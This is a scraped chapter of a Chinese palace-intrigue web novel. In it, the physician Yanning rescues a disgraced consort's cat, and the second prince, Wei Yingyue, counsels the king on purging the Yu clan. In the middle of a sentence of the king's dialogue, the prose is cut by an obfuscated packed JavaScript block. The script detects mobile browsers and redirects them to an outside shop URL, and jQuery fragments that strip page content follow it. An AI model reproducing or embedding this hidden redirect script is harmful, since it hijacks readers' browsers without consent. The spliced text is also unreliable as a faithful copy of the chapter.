143. 公子与她

作品:《君子渡我

    第143章


    昨夜玉芙宫惊变之后,今日的王宫注定不会平静。


    雁宁一夜未眠,天刚蒙蒙亮便起身梳洗,褪去医官官服,她换了身素色襦裙,裙摆绣着几缕淡墨花影,眉宇间的清冷未散,却多了几分沉淀后的沉静。


    她坐在镜前,指尖轻轻拂过镜中自己的眉眼,脑海中复盘着昨夜的一切,宓婕妤疯癫败露,亲口承认所有罪行,王上震怒禁足,宫双的冤屈总算昭雪,阿娘的仇也报了大半。


    可心头并无多少轻松,反倒沉甸甸的,宓婕妤倒台,尤家必定反扑,太后那边也绝不会坐视不理,这场风波,不过是掀开了复仇的序幕。


    “韩医师,今日还要去医官院吗?”宫女端着温热的清茶进来,见她望着镜中出神,轻声问道。


    雁宁回过神,接过清茶抿了一口,暖意顺着喉咙蔓延,却未驱散心底的寒凉:“去,先去玉芙宫看看情况,再去医官院。”


    她需得确认宓婕妤的最终下场,也需留意宫中动向,避免后续再生变数。


    宫女闻言,眼中闪过一丝担忧:“玉芙宫如今守卫森严,韩医师去了怕是多有不便,要不奴婢陪您一起?”


    “不必。”雁宁摇了摇头,将茶杯放在案上,起身拿起披风,说道:“我绕侧门过去,看看便走,不会惹事。”


    晨雾未散,雁宁裹紧披风,沿着僻静宫道缓步前行,越靠近玉芙宫,空气中的压抑便越浓,远远便望见宫门外守着两队侍卫,银甲映着晨光,神色肃穆,拦住了所有想要靠近的人。


    往日里极尽奢华,香风阵阵的玉芙宫,此刻朱门紧闭,宫墙内静得可怕,连一丝往日的喧嚣都无,只剩满院沉寂,像是一座骤然失了生气的囚笼。


    雁宁脚步微顿,目光扫过紧闭的宫门,正欲绕去西侧僻静的侧门,忽然听见宫墙内传来一声极轻的“喵呜”,细细软软,带着几分怯意,像是受了惊吓的幼兽,在寂静中格外清晰。


    她心中微动,循着声音绕到宫墙西侧,这里有一道虚掩的角门,是往日宫人传递杂物所用,昨夜混乱中未曾关好,恰好留了一道缝隙。


    雁宁踮脚朝着里面望去,只见庭院石阶旁的草花丛中,蜷缩着一只通体雪白的猫,毛发凌乱不堪,沾了草屑和尘土,一双湛蓝的眼眸湿漉漉的,正怯生生地缩在角落,时不时发出一声微弱的叫声,模样可怜兮兮。


    是宓婕妤的白猫,雁宁一眼便认了出来,往日里这猫被宓婕妤捧在手心娇养,毛发柔顺发亮,每日锦衣玉食,何曾这般狼狈过?


    如今宓婕妤失势,宫人自顾不暇,早已没人记得这只猫,留在这空荡荡的玉芙宫,多半是自生自灭的下场,若是遇到迁怒之人,怕是连性命都保不住。


    雁宁心中一软,轻轻推开虚掩的角门,脚步放得极轻,生怕惊扰了白猫。


    白猫见有人靠近,瞬间竖起耳朵,往后缩了缩,湛蓝的眼眸中满是惊恐,浑身毛发都微微炸起,却因为太过害怕,连逃跑的力气都没有,只是瑟瑟发抖。


    “别怕,我不会伤害你。”雁宁放缓语气,声音轻柔得像是晨雾中的风,缓缓蹲下身,伸出手掌心向上,示意自己并无恶意。


    白猫犹豫了许久,盯着她平静温和的眼神看了半晌,似乎感受到了一丝善意,渐渐放下警惕,小心翼翼地往前挪了挪,用小脑袋轻轻蹭了蹭她的掌心,触感温热柔软。


    雁宁心中一暖,轻轻将白猫抱了起来,动作轻柔得像是捧着易碎的琉璃,指尖拂过它凌乱的毛发,能摸到皮下细微的颤抖。


    “你也是无辜的。”雁宁低头看着怀中的白猫,喃喃自语,声音轻得只有自己能听见:“不该为她的过错负责。”


    她知晓这猫是王上当初赐予宓婕妤的,身份特殊,留在玉芙宫必定凶险,带回章华宫虽有风险,却总能护它周全。


    思忖间,她便抱着白猫,悄悄从角门退了出去,朝着翰林医官院的方向走去。


    晨雾渐渐散去,曦光越来越浓,宫道上的宫人也多了起来,雁宁将白猫往怀中拢了拢,用披风遮住大半,尽量避开人群,脚步匆匆。


    行至一处岔路口时,前方忽然走来一道身影,青衫广袖,身姿挺拔如松,面容俊朗温润,正是危瀛月。


    雁宁心中蓦地一紧,下意识地想要侧身躲进旁边的廊下,她与危瀛月虽有着那层不可言说的关系,可始终觉得此人深不可测,心思难辨,他是大燕二公子,谋略过人,眼神中总藏着洞察一切的锐利,与他过多牵扯,难免会暴露自己的心思,甚至打乱后续的计划。


    可脚步刚动,她便又停住了,躲躲藏藏反而显得刻意,倒不如大大方方走过去,少言寡语,反而能避开不必要的纠缠。


    雁宁压下心中的波澜,深吸一口气,放缓脚步,抱着白猫径直朝着前方走去,目光平视前方,刻意避开与危瀛月对视。


    危瀛月显然也看到了她,脚步未停,依旧缓步走来,目光落在她怀中微微隆起的披风上,眼中闪过一丝不易察觉的讶异,随即便恢复了平静。


    待两人走近,雁宁正欲低头擦肩而过,危瀛月却忽然开口,声音温润清朗,带着几分随意的笑意:“韩医师,留步。”


    雁宁脚步一顿,心中暗自叹了口气,却还是缓缓转过身,抬眸看向危瀛月,神色平静无波:“二公子,何事?”


    危瀛月的目光落在她怀中的披风上,唇角勾起一抹浅淡的弧度,语气从容:“你怀中藏着的,是宓婕妤的白猫吧?”


    雁宁心中微惊,面上却依旧不动声色,挑眉问道:“二公子怎会知晓?”


    她已经刻意遮掩,寻常人若是不仔细看,根本看不出披风下藏着一只猫,更何况危瀛月向来深居简出,怎会留意到宓婕妤养了一只白猫?


    危瀛月轻笑一声,目光扫过她来时的方向,语气淡然:“我猜的,整个王宫之中,偏爱养白猫,且将猫养得那般娇贵的,唯有玉芙宫的宓婕妤。再者,韩医师方才是从玉芙宫的方向走来,怀中又鼓鼓囊囊的,隐约能听见细微的猫叫,不难猜测。”


    他的语气平淡,却透着一种洞察一切的敏锐,让雁宁心中愈发警惕,此人的观察力,未免太过惊人。


    雁宁闻言,只是轻轻点了点头,并未多言,抱着白猫便欲转身离开,与危瀛月多说一句,便多一分暴露的风险,她不愿在此多作停留。


    可才刚转过身,危瀛月的声音便又传来,再次拦住了她的脚步:“等等。”


    雁宁无奈,只得再次转过身,看向危瀛月,眼中带着几分询问之意,示意他有话直说。


    危瀛月看着她怀中的白猫,语气认真了几分:“把它交给我吧,这白猫是王上当初赐予宓婕妤的,如今宓婕妤失势,罪证确凿,这猫留在韩医师身边,终究是个麻烦。若是被有心人看到,难免会生出是非,说你与宓婕妤有所牵扯,届时牵连到章华宫,反倒得不偿失,我去帮你把它还给王上,也好绝了后患。”


    雁宁心中一动,低头看了看怀中的白猫,陷入了沉思,危瀛月说得没错,这白猫是王上所赐,身份特殊,她若是将猫带回章华宫,一旦被人察觉,必定会引人怀疑。


    昨日她刚跟着杨院判去过玉芙宫,今日便带着宓婕妤的猫,有心人若是想做文章,很容易便能将她与宓婕妤绑在一起,到时候不仅自己陷入困境,还会连累太妃。


    可若是将猫交给危瀛月,让他送去给王上,既可以摆脱麻烦,也能护白猫周全,倒是个两全其美的办法。


    雁宁心中反复权衡利弊,目光落在危瀛月温润的脸上,试图从中看出些什么,可他神色平静,眼中只有纯粹的善意,并无半分算计,仿佛只是单纯地想帮她解围。


    思忖片刻,雁宁终究还是点了点头,眼下确实没有更好的办法,将猫交给危瀛月,总比留在自己身边惹麻烦要好。


    她轻轻将怀中的白猫递了过去,语气平淡:“那就多谢二公子了。”


    危瀛月伸手接过白猫,动作轻柔,指尖拂过白猫的毛发时,白猫似乎并不怕他,反而温顺地蹭了蹭他的掌心,发出一声软糯的“喵呜”。


    危瀛月低头笑了笑,抬手轻轻抚了抚白猫的脑袋,指尖的动作温柔得不像话,随即抬眸看向雁宁,唇角勾起一抹浅淡的笑意:“举手之劳,韩医师不必客气。”


    雁宁点了点头,不再多言,转身便朝着翰林医官院的方向快步走去,脚步匆匆,像是不愿再与危瀛月有任何牵扯。


    她的背影清瘦挺拔,在晨光中渐渐远去,带着几分疏离和决绝。


    危瀛月看着她离去的背影,目光深邃,若有所思,指尖依旧轻轻抚着怀中的白猫,白猫在他怀中蜷缩起来,发出温顺的呼噜声。


    过了半晌,他才收回目光,转身朝着养心殿的方向缓步走去,青衫广袖在晨光中轻轻晃动,身姿挺拔,步态从容,怀中的白猫时不时发出一声软糯的叫声,倒是为这压抑的王宫添了几分生机。


    养心殿内,气氛沉闷得近乎窒息,王上坐在软蒲团上,眉宇紧蹙,神色疲惫不堪,眼下带着浓重的青黑,显然是一夜未眠。


    案上堆放着厚厚的奏折,却无人敢上前催促,殿内的宫女太监们皆垂首侍立,连呼吸都放得极轻,生怕触怒了正在气头上的王上。


    昨夜,在玉芙宫的愤怒尚未平息,王上便下令将宓婕妤押回寝殿,今日凌晨,他亲自去了玉芙宫,看着宓婕妤那张曾经让他痴迷,如今却只剩狰狞的脸。


    又想起她的背叛、欺骗,想起她刺杀自己的模样,想起枉死的宫双,心中的怒火再也无法压制。


    最终,他还是迈过了心中的那道坎儿,赐死了宓婕妤,鲜血染红了玉芙宫的锦被,也染红了他眼中的冰冷。


    可宓婕妤的死,并未让他心头的烦躁消散,今日一早,尤家的人便跪在宫门外求情,哭哭啼啼,不肯离去,甚至搬出了太后,试图以太后的势力施压,让他从轻发落尤家。


    王上本就因为宓婕妤的背叛而怒火未消,又被尤家的人纠缠不休,心中愈发烦躁,索性下令闭门不见,任何人都不准踏入养心殿半步,连太后派人来传话,都被他直接挡了回去。


    “王上,二公子来了。”殿外传来太监恭敬的声音,小心翼翼,带着几分试探,他知晓王上此刻心情极差,这时候召见他来,看来这位公子在王上心中,向来有着不一样的分量。


    王上闻言,眉头皱得更紧,沉默了片刻,终究还是叹了口气,语气疲惫:“让他进来吧。”


    眼下满朝文武,要么是尤家的亲信,要么是太后的人,无人敢真正为他分忧,倒是危瀛月,心思通透,谋略过人,往往能一针见血地指出问题的关键,或许能给他些有用的建议。


    片刻后,危瀛月缓步走进殿内,怀中抱着那只白猫,青衫拂过地面,动作轻柔,生怕惊扰了殿内的寂静,他走到殿中,对着王上躬身行礼,语气恭敬:“父王。”


    王上抬眸看向他,摆了摆手,语气疲惫:“免礼吧,起来说话。”


    危瀛月起身,垂眸侍立在一旁,怀中的白猫轻轻叫了一声,声音软糯,打破了殿内的压抑。


    王上的目光不经意间落在他怀中的白猫身上,瞳孔微微一缩,随即眼中闪过一丝浓烈的厌恶,语气冰冷:“这是那个贱人的猫?”


    危瀛月低头看了看怀中的白猫,语气平静:“回父王,正是,方才在宫道上遇到一位小娘子,她将这猫交给了儿臣,说是不忍见它在玉芙宫自生自灭。父王,宓婕妤犯下滔天大错,罪有应得,可这猫是无辜的,不该为她的过错负责,更不该落得惨死的下场。”


    王上看着那只白猫,眼中的厌恶渐渐褪去,多了几分复杂,他想起当初赐猫给宓婕妤时的场景,那时宓婕妤还未这般蛇蝎心肠,眼底满是娇柔,如今却物是人非。


    他抬眸看向危瀛月,唇角勾起一抹浅淡的笑意,语气中带着几分怀念:“你还是这么喜欢猫。”


    危瀛月闻言,脸上露出一抹温和的笑容,点了点头:“从小便喜欢,见不得它们受委屈。那位小娘子心地善良,不忍将它丢弃,便交给了儿臣,儿臣自然该保护好它,不让它受半点伤害。”


    王上看着他眼中的温柔,忽然像是想起了什么,眉头微挑,语气带着几分随意的询问:“说起这个,你也老大不小了,今年也该二十一了吧?打算什么时候成婚?北齐那边,也该给你安排一门亲事了,总不能一直孤身一人。”


    危瀛月闻言,神色平静,语气淡然:“父王,儿臣已经成过婚了。”


    王上猛地瞪大了眼睛,眼中满是诧异,显然是没想到他竟然已经成婚了:“你成婚了?何时的事?为何从未听闻?”


    他一直以为危瀛月专注于谋略,心思都在北齐的局势和王宫的动向之上,未曾考虑过儿女情长。


    危瀛月看着王上诧异的模样,只是淡淡一笑,并未多作解释,他与雁宁的婚事,本就曲折,如今雁宁身在王宫,一心复仇,不愿暴露两人的关系,他自然也不会主动提及,以免给她带来麻烦。


    王上愣了片刻,忽然像是想起了什么,眼中的诧异渐渐褪去,取而代之的是一丝了然,他轻轻叹了口气,语气平静:“也是,你此前在北齐,早已及弱冠之年,又身处名门士族,依照北齐的规矩,怎会不成婚呢?想必是北齐的贵族女子吧?家世必定显赫。”


    “是北齐的贵族女子。”危瀛月轻轻点头,随即语气认真了几分,眼神中闪过一丝温柔:“只是,成婚与否,并非儿臣所愿,如今这般孤身一人,倒也自在。若是可以,儿臣也可以不用成婚,就比如现在。”


    他的语气平淡,却带着一种不容置疑的坚定,眼底的温柔藏不住,显然是想起了心中的人。


    王上何等通透,瞬间便明白了他的意思,他心中有了心上人,且情意深重,所以不愿将就,甚至连过往的婚事都不愿提及。


    王上眼中闪过一丝好奇,语气带着几分打趣:“看来,你是遇到真正倾心之人了?她是位怎样的女郎?能让你这般上心,连成婚之事都不愿将就,甚至甘愿孤身一人。”


    危瀛月闻言,脸上露出一抹温柔的笑容,眼神清澈而坚定,像是盛满了晨光,语气带着浓浓的赞许,每一个字都透着真挚的情意:“在看见她的第一眼,儿臣便喜欢上了。她生得极美,眉目如画,气质温婉可爱,可美貌于她而言,不过是最不值得一提的优点。她冰雪聪明,心思缜密,遇事沉着冷静,从不慌乱,她很勇敢,也很坚强,哪怕身处绝境,被人陷害,也总能独当一面,从不依附他人,凭借自己的力量一步步走出困境,她心地善良,见不得无辜之人受委屈,却也恩怨分明,从不轻易放过作恶之人。在儿臣看来,她是这世间最好的人,无人能及,也无人能替代。”


    他的语气真挚,眼中的温柔几乎要溢出来,每一句话都像是经过深思熟虑,带着浓浓的情意,让王上都忍不住动容。


    王上挑了挑眉,脸上露出一抹好奇的笑容,语气中带着几分期待:“哦?竟有这般好的女郎?听你这么描述,寡人都想见见她了,到底是怎样的女郎,能让你这般倾心,连过往的婚事都能放下。”


    危瀛月闻言,只是淡淡一笑,语气带着几分无奈,却也藏着期待:“若有机会,儿臣定带她来见父王,让父王见见她的风采。只是她性子内敛,不愿过多与人牵扯,眼下还不是时候,还请父王见谅。”


    他知晓,雁宁心中藏着复仇的心思,行事极为谨慎,不愿暴露自己的身份,更不愿与王宫的核心势力过多接触,若是此刻将她带到王上面前,难免会给她带来麻烦,甚至打乱她的复仇计划。


    王上看着他眼中的期待与无奈,忍不住笑了起来,连日来的疲惫和烦躁似乎都消散了几分,他摆了摆手,语气轻松:“好,寡人等着那一天,只要是你真心喜欢的女郎,寡人必定不会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222852|177866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亏待她。”


    说完,他的神色渐渐变得严肃起来,眉宇间再次染上几分愁绪,语气沉重:“不说这些儿女情长的事了,说说正事吧,昨夜朕亲手赐死了宓婕妤,今日一早,尤家的人便跪在宫门外求情,哭哭啼啼,不肯离去,还搬出了太后,试图以太后的势力施压,让寡人从轻发落宓婕妤,可寡人还是赐死了她。尤家在朝中势力庞大,根基深厚,朝中不少官员都依附于他们,若是处置不当,难免会引起朝堂动荡,甚至会影响到边境的稳定,可若是从轻发落,又难平心头之恨,也对不起枉死的宫双,更对不起被宓婕妤欺骗的寡人。关于尤家,寡人该怎么处理,还真是难啊。”


    王上说着,疲惫地揉了揉眉心,眼中满是纠结,他执掌朝政多年,从未这般为难过,一边是朝堂的稳定,一边是心头的怒火和公道,无论怎么选,似乎都有弊端。


    危瀛月闻言,神色平静,眼中闪过一丝锐利的光芒,语气从容不迫,条理清晰地说道:“父王,此事其实不难,关键在于抓住核心,尤家的底气,并非来自他们自身的势力,而是来自宓婕妤的宠爱和太后的扶持。如今宓婕妤已死,罪证确凿,他们最大的靠山已经倒了,至于太后,她虽想护着尤家,却也不敢公然与王法作对,更不敢公然违抗父王的旨意,毕竟她若是执意偏袒尤家,便是与整个王宫为敌,与天下百姓为敌,到时候失民心的,只会是她自己,甚至会动摇她太后的地位。”


    他顿了顿,继续说道:“宓婕妤犯下的罪行,桩桩件件,皆是死罪,谋害宫人宫双,私通乐师,欺骗父王,谎称怀有王嗣,最后甚至敢刺杀父王,罪不容诛,无可饶恕。尤家作为宓婕妤的娘家人,明知宓婕妤作恶多端,却不仅不加以劝阻,反而纵容包庇,甚至为她提供助力,帮她打压异己,早已触犯了王法,更是辜负了父王的信任。父王只需下令,让御史台彻查尤家,将他们纵容包庇宓婕妤,结党营私,打压异己的罪证一一查清,然后公之于众,让天下百姓都知晓尤家的罪行,届时再依法处置,既能平众怒,又能震慑朝堂,让那些依附太后和尤家的官员不敢再肆意妄为。”


    “至于太后那边。”危瀛月眼中闪过一丝深意,语气淡然:“父王只需派人将宓婕妤的罪证和尤家纵容包庇的证据一一呈给太后,让她知晓,尤家罪有应得,并非父王刻意针对。同时,派人去宫门外安抚尤家,告知他们宓婕妤罪不容诛,尤家若是继续纠缠,执意求情,便以连坐之罪处置,不仅要处置尤家,还要牵连那些依附尤家的官员。想必尤家之人也知晓其中的利害,不会为了宓婕妤,让整个家族都陷入万劫不复之地,自然会乖乖退去。”


    “除此之外。”危瀛月补充道:“父王还可以借着处置尤家的机会,清理朝堂,将那些依附尤家,作恶多端的官员一一罢免,提拔那些有才华,有良知,且忠于父王的官员,既能削弱太后的势力,又能巩固父王的王权,让朝堂焕然一新,也能让天下百姓知晓父王的公正无私。”


    危瀛月的话,一针见血,条理清晰,既指出了尤家的要害,又给出了具体的解决方案,面面俱到,没有丝毫遗漏,甚至还能借着处置尤家的机会,巩固王权,清理朝堂,可谓是一举多得。


    王上闻言,眼中满是震惊,随即便是浓浓的赞许,他猛地站起身,拍了拍案几,语气激动:“好!好一个公子月!寡人找你来,果然没错!你说得太对了,寡人之前倒是被愤怒冲昏了头脑,只想着怎么惩治尤家,却忘了从根源上解决问题,也忘了借着这个机会清理朝堂,有你这番话,寡人心中便有底了。”


    连日来的烦躁和纠结,在听到危瀛月的话后,瞬间烟消云散,王上只觉得豁然开朗,心中的石头终于落了地。


    他看着危瀛月,眼中满是欣赏:“你虽身在王宫,却能看清朝堂局势,谋略过人,心思缜密,比寡人身边的那些大臣还要靠谱,若是你身在寡人的朝堂,必定是寡人的得力助手,寡人也能省心不少。”


    危瀛月闻言,连忙躬身行礼,语气恭敬:“父王过奖了,儿臣不过是随口一说,能帮到父王,便是儿臣的荣幸,儿臣本就该为父王分忧,也为大燕的和平尽一份力。”


    王上摆了摆手,笑着让他起身,随即两人便坐在殿中,继续聊了起来,聊到朝堂的局势,再聊到北齐的近况,危瀛月谈吐不凡,见解独到,每一句话都能说到王上的心坎里。


    王上心中愈发欣赏,原本疲惫的神色也渐渐变得精神起来,殿内的气氛也终于轻松了几分。


    *


    翰林医官院内,雁宁处理完医理功课,又跟着杨院判学习了半晌,待天色渐渐暗下来时,才起身朝着章华宫的方向走去。


    夜色渐浓,宫道上的宫灯早已点亮,雁宁脚步从容,走在宫道上,脑海中思索着今日的事情,危瀛月主动帮她处理白猫,显然是知道了她的谋划,可他却并未点破此事,也未曾过多追问她的行踪,倒是让她有些捉摸不透。


    此人深不可测,谋略过人,日后必定是宫中的重要人物,与他牵扯过多,终究是弊大于利,日后还是尽量避开为好,以免暴露自己的计划。


    除此之外,尤家的处置也是她关心的重点,宓婕妤倒台,尤家必定不会善罢甘休,王上若是处置不当,不仅难以平众怒,还会让太后的势力更加嚣张,甚至会影响到她后续针对尤家的布局。


    不知不觉间,章华宫便出现在眼前,宫门前,雪青正站在廊下等候,见雁宁回来,连忙迎了上去,脸上露出温柔的笑容:“韩医师,你可算回来了,天都黑透了,我还以为你要在医官院留宿呢,夜里凉,快快回宫吧,别冻着了。”


    雁宁笑了笑,心中也多了几分暖意:“今日功课不多,处理完便回来了,倒是让你久等了。”


    两人并肩走进章华宫,院内的花树在夜色中隐约可见,晚风拂过,花瓣轻轻飘落,落在地上,雪青看着院内飘落的花瓣,轻轻叹了口气,语气带着几分惋惜:“韩医师,你看,这山茶花都快谢了,春天就要过去了,还真是舍不得。春天多好啊,万物复苏,百花盛开。”


    雁宁闻言,抬眸看向院内的山茶花,花瓣随风飘落,确实带着几分落幕的萧瑟,她轻轻叹了口气,心中忽然想起了危瀛雪,那位北齐的四公子,也是危瀛月的王弟。


    自从上次为他施针后,已经过了好些日子,算算时间,也该到了再次出宫施针的时候了。


    这些日子,她一直忙着对付宓婕妤,策划复仇计划,倒是把这件事给耽搁了,如今宓婕妤已死,宫双的冤屈得以昭雪,太妃的仇也报了。


    接下来,便该轮到那些曾经伤害过她和阿娘的人了,尤家,还有那些依附于他们,为虎作伥的人,她一个都不会放过。


    除此之外,春闱在即,各地的举子纷纷涌入神都,其中不乏有才华,有抱负之人,却也有不少人身处困境,被权贵打压,难以施展抱负,甚至连参加春闱的机会都没有。


    这些举子若是能在春闱中脱颖而出,进入朝堂,必定能成为一股新的势力,削弱太后和尤家的势力。


    她此次出宫,除了要为危瀛雪施针,便是为了这些春闱举子而来,她可以暗中扶持那些有才华,有良知,且不愿依附权贵的举子,为他们提供帮助,让他们能顺利参加春闱。


    若是他们能成功进入朝堂,必定能成为她的助力,雁宁的眼中闪过一丝坚定,心中的计划渐渐清晰起来。


    “韩医师,你在想什么呢?”雪青见雁宁站在原地不动,眼神发怔,指尖无意识地捻着披风的流苏,忍不住轻声问道。


    雁宁回过神来,摇了摇头,脸上露出一抹淡淡的笑容,语气平静却带着几分坚定:“没什么,只是在想些事情,时候不早了,咱们进去吧,明日还要早起。”


    准备出宫的事情,该去给四公子施针了,也该为后续的事情做些准备了。


    雪青点了点头,连忙跟着她走进殿内。